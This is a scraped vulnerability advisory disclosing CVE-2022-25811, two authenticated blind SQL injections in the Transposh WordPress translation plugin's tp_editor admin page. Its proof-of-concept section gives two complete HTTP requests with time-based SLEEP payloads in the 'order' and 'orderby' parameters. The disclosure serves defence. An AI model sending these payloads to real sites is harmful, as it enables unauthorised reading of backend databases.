RCE Security Advisory
\nhttps:\/\/www.rcesecurity.com<\/p>\n
1. ADVISORY INFORMATION
\n=======================
\nProduct: Transposh WordPress Translation
\nVendor URL: https:\/\/wordpress.org\/plugins\/transposh-translation-filter-for-wordpress\/
\nType: Improper Authorization [CWE-285]\nDate found: 2022-02-21
\nDate published: 2022-07-22
\nCVSSv3 Score: 6.8 (CVSS:3.1\/AV:N\/AC:L\/PR:H\/UI:N\/S:C\/C:H\/I:N\/A:N)
\nCVE: CVE-2022-25811<\/p>\n
2. CREDITS
\n==========
\nThis vulnerability was discovered and researched by Julien Ahrens from
\nRCE Security.<\/p>\n
3. VERSIONS AFFECTED
\n====================
\nTransposh WordPress Translation 1.0.8.1 and below<\/p>\n
4. INTRODUCTION
\n===============
\nTransposh translation filter for WordPress offers a unique approach to blog
\ntranslation. It allows your blog to combine automatic translation with human
\ntranslation aided by your users with an easy to use in-context interface.<\/p>\n
(from the vendor’s homepage)<\/p>\n
5. VULNERABILITY DETAILS
\n========================
\nThe WordPress plugin’s “tp_editor” page at “\/wp-admin\/admin.php?page=tp_editor” is
\nvulnerable to two authenticated, blind SQL Injections when user-supplied input to
\nthe HTT GET parameters “order” and “orderby” is processed by the web application.<\/p>\n
Since the application does not properly validate and sanitize these parameters, an
\nattacker with the role “Administrator” is able to inject arbitrary SQL commands
\nagainst the backend database server of the web application.<\/p>\n
Successful exploits can allow the attacker to access the WordPress backend
\ndatabase and thereby read sensitive contents. This is specifically relevant in
\nmulti-site installations.<\/p>\n
6. PROOF OF CONCEPT
\n===================
\nTo exploit the “order” parameter:<\/p>\n
GET \/wp-admin\/admin.php?page=tp_editor&orderby=lang&order=page=tp_editor&orderby=lang&order=asc,(SELECT%20(CASE%20WHEN%20(1=1)%20THEN%20SLEEP(10)%20ELSE%202%20END)) HTTP\/1.1
\nHost: localhost
\nUpgrade-Insecure-Requests: 1
\nUser-Agent: Mozilla\/5.0
\nCookie: [Your Cookies]\nConnection: close<\/p>\n
To exploit the “orderby” parameter:<\/p>\n
GET \/wp-admin\/admin.php?page=tp_editor&orderby=lang&order=page=tp_editor&orderby=lang,(SELECT%20(CASE%20WHEN%20(1=1)%20THEN%20SLEEP(10)%20ELSE%202%20END))&order=asc HTTP\/1.1
\nHost: localhost
\nUpgrade-Insecure-Requests: 1
\nUser-Agent: Mozilla\/5.0
\nCookie: [Your Cookies]\nConnection: close<\/p>\n
7. SOLUTION
\n===========
\nNone. Remove the plugin to prevent exploitation.<\/p>\n
8. REPORT TIMELINE
\n==================
\n2022-02-21: Discovery of the vulnerability
\n2022-02-21: Contacted the vendor via email
\n2022-02-21: Vendor response
\n2022-02-22: CVE requested from WPScan (CNA)
\n2022-02-23: WPScan assigns CVE-2022-25811
\n2022-05-22: Sent request for status update on the fix
\n2022-05-24: Vendor states that there is no update planned so far
\n2022-07-22: Public disclosure<\/p>\n
9. REFERENCES
\n=============
\nhttps:\/\/github.com\/MrTuxracer\/advisories
\nhttps:\/\/www.rcesecurity.com\/2022\/07\/WordPress-Transposh-Exploiting-a-Blind-SQL-Injection-via-XSS\/<\/p>\n","protected":false},"excerpt":{"rendered":"
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